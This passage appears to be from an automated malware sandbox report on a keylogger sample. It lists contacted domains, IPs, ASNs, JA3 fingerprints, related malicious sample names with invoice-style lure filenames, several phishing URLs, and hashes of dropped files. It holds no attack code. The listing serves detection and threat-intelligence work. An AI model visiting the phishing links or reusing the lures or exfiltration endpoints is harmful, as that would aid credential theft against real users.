                                                                                                                                                            SALARY_RECEIPT.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • checkip.dyndns.org/

                                                                                                                                                            Domains

                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                            mail.vvtrade.vnAPQSKVTvd60SdAM.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            GD7656780000.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            TEKJ09876545678002.cmd.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            rRFQNO-N__MERODOPEDIDO106673.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            NEW ORDER QUOTATION REQUEST.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            rcota____oRFQNO-N__merodopedido106673.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            Request for Q uotation.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            FSVB098765600900.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            FDST69876500900.cmd.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            GYJ1zSOpOW.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 118.69.190.131
                                                                                                                                                            reallyfreegeoip.orgREQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 172.67.177.134
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 172.67.177.134
                                                                                                                                                            ref_97024130865.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            CITAS_pif.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 172.67.177.134
                                                                                                                                                            api.telegram.orgREQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            RdLfpZY5A9.exeGet hashmalicious77Rootkit, XWormBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            3edTbzftGf.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            gjvU5KOFhX.exeGet hashmaliciousDiscord Token Stealer, Millenuim RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            ax-0001.ax-msedge.nethttps://t.co/eSJUUrWOcOGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            Payment_swift_copy.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            InvoiceNr274728.pdf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 150.171.28.10
                                                                                                                                                            TNT AWB TRACKING DETAILS.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                            • 150.171.28.10
                                                                                                                                                            spectrum.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            USJFMdzoFi.docGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            tnGNUbHCAK.docGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 150.171.28.10
                                                                                                                                                            test.exeGet hashmaliciousMetasploitBrowse
                                                                                                                                                            • 150.171.27.10
                                                                                                                                                            file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                            • 150.171.28.10

                                                                                                                                                            ASNs

                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                            TELEGRAMRUREQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            nB52P46OJD.exeGet hashmaliciousVidarBrowse
                                                                                                                                                            • 149.154.167.99
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                            • 149.154.167.99
                                                                                                                                                            njrtdhadawt.exeGet hashmaliciousStealc, VidarBrowse
                                                                                                                                                            • 149.154.167.99
                                                                                                                                                            T0x859fNfn.exeGet hashmaliciousVidarBrowse
                                                                                                                                                            • 149.154.167.99
                                                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, Vidar, XmrigBrowse
                                                                                                                                                            • 149.154.167.99
                                                                                                                                                            CLOUDFLARENETUSKASHI SHIP PARTICULARS.pdf.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                            • 172.67.74.152
                                                                                                                                                            REQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 172.67.177.134
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 172.67.177.134
                                                                                                                                                            https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933Get hashmaliciousKnowBe4Browse
                                                                                                                                                            • 104.17.249.203
                                                                                                                                                            ref_97024130865.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            CITAS_pif.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            nB52P46OJD.exeGet hashmaliciousVidarBrowse
                                                                                                                                                            • 172.64.41.3
                                                                                                                                                            54FApnc7eR.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                            • 172.67.177.250
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            PO.bat.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                            • 104.26.13.205
                                                                                                                                                            ORACLE-BMC-31898USREQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 158.101.44.242
                                                                                                                                                            ref_97024130865.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                                            • 193.122.130.0
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 193.122.130.0
                                                                                                                                                            PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                            • 158.101.44.242
                                                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 193.122.6.168
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 158.101.44.242
                                                                                                                                                            arm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 147.154.242.4
                                                                                                                                                            SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 193.122.130.0
                                                                                                                                                            file.exeGet hashmaliciousAmadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, StealcBrowse
                                                                                                                                                            • 193.122.130.0
                                                                                                                                                            Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 158.101.44.242
                                                                                                                                                            FPT-AS-APTheCorporationforFinancingPromotingTechnolohttps://zde.soundestlink.com/ce/c/675fab7ba82aca38b8d991e6/675fabf585cd17d1e3e2bb78/675fac13057112d43b540576?signature=da009f44f7cd45aeae4fbb5addf15ac91fbf725bb5e9405183f25bf1db8c8baaGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 42.114.77.145
                                                                                                                                                            sparc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 118.68.198.92
                                                                                                                                                            sh4.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 103.121.88.36
                                                                                                                                                            https://jzd.soundestlink.com/ce/c/675b6e1bfc42b5dba74070ce/675b749b3d33226215120f3d/675b74b8f9a08fb1fbb286b7?signature=81a859d5cb272e6f3445dc5d43d3615d4aeb95f10d42be0925098a8a87224f29Get hashmaliciousUnknownBrowse
                                                                                                                                                            • 42.114.77.145
                                                                                                                                                            https://afw.soundestlink.com/ce/c/675c127e5a5226f9e7b86686/675c13ae85cd17d1e3e2ab54/675c13c9f9a08fb1fbb3e577?signature=3f4d77f7452e61cf1e0cb9ce4a3540d02af0944caf975b089573a2fc1d891103Get hashmaliciousUnknownBrowse
                                                                                                                                                            • 42.114.77.145
                                                                                                                                                            https://idw.soundestlink.com/ce/c/675b7a96903a5335b119c33f/675b7ae33d33226215120f66/675b7afd057112d43b49094d?signature=7e9e7eead1b3f32bbe3709a667795cd47f753f0f46ed5e056831680ea81aa102Get hashmaliciousUnknownBrowse
                                                                                                                                                            • 42.114.77.145
                                                                                                                                                            b3astmode.spc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                            • 58.186.20.78
                                                                                                                                                            loligang.mips.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                            • 183.80.215.200
                                                                                                                                                            https://connect-velocity-33392.my.salesforce-sites.com/helpGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 42.114.77.145
                                                                                                                                                            MdmRznA6gx.lnkGet hashmaliciousDucktailBrowse
                                                                                                                                                            • 118.69.35.98

                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                            54328bd36c14bd82ddaa0c04b25ed9adREQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            ref_97024130865.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            CITAS_pif.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            Tvl72VM6PM.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 104.21.67.152
                                                                                                                                                            3b5074b1b5d032e5620f69f9f700ff0e#U00d6deme tavsiyesi.pdf.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            KASHI SHIP PARTICULARS.pdf.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            REQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            #U00d6deme tavsiyesi.pdf.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            CITAS_pif.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            ZppxPm0ASs.exeGet hashmaliciousXmrigBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            PO.bat.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                            • 149.154.167.220
                                                                                                                                                            rQuotation.exeGet hashmaliciousLokibot, PureLog StealerBrowse
                                                                                                                                                            • 149.154.167.220

                                                                                                                                                            Dropped Files

                                                                                                                                                            ⊘No context

                                                                                                                                                            Created / dropped Files

                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EYDNKhhJr.exe.log

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):1216
                                                                                                                                                            Entropy (8bit):5.34331486778365
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                                                                                            MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                                                                                            SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                                                                                            SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                                                                                            SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FT876567090.exe.log

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):1216
                                                                                                                                                            Entropy (8bit):5.34331486778365
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                                                                                            MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                                                                                            SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                                                                                            SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                                                                                            SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                                                                                            Malicious:true
                                                                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:data
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):2232
                                                                                                                                                            Entropy (8bit):5.379460230152629
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:fLHyIFKL3IZ2KRH9Oug8s
                                                                                                                                                            MD5:4DC84D28CF28EAE82806A5390E5721C8
                                                                                                                                                            SHA1:66B6385EB104A782AD3737F2C302DEC0231ADEA2
                                                                                                                                                            SHA-256:1B89BFB0F44C267035B5BC9B2A8692FF29440C0FEE71C636B377751DAF6911C0
                                                                                                                                                            SHA-512:E8F45669D27975B41401419B8438E8F6219AF4D864C46B8E19DC5ECD50BD6CA589BDEEE600A73DDB27F8A8B4FF7318000641B6A59E0A5CDD7BE0C82D969A68DE
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1chtvjwe.031.ps1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gdkh4is.1xv.ps1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rggcrht.bxx.psm1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xq0crbr.2dp.psm1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awuz24uw.qzf.psm1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
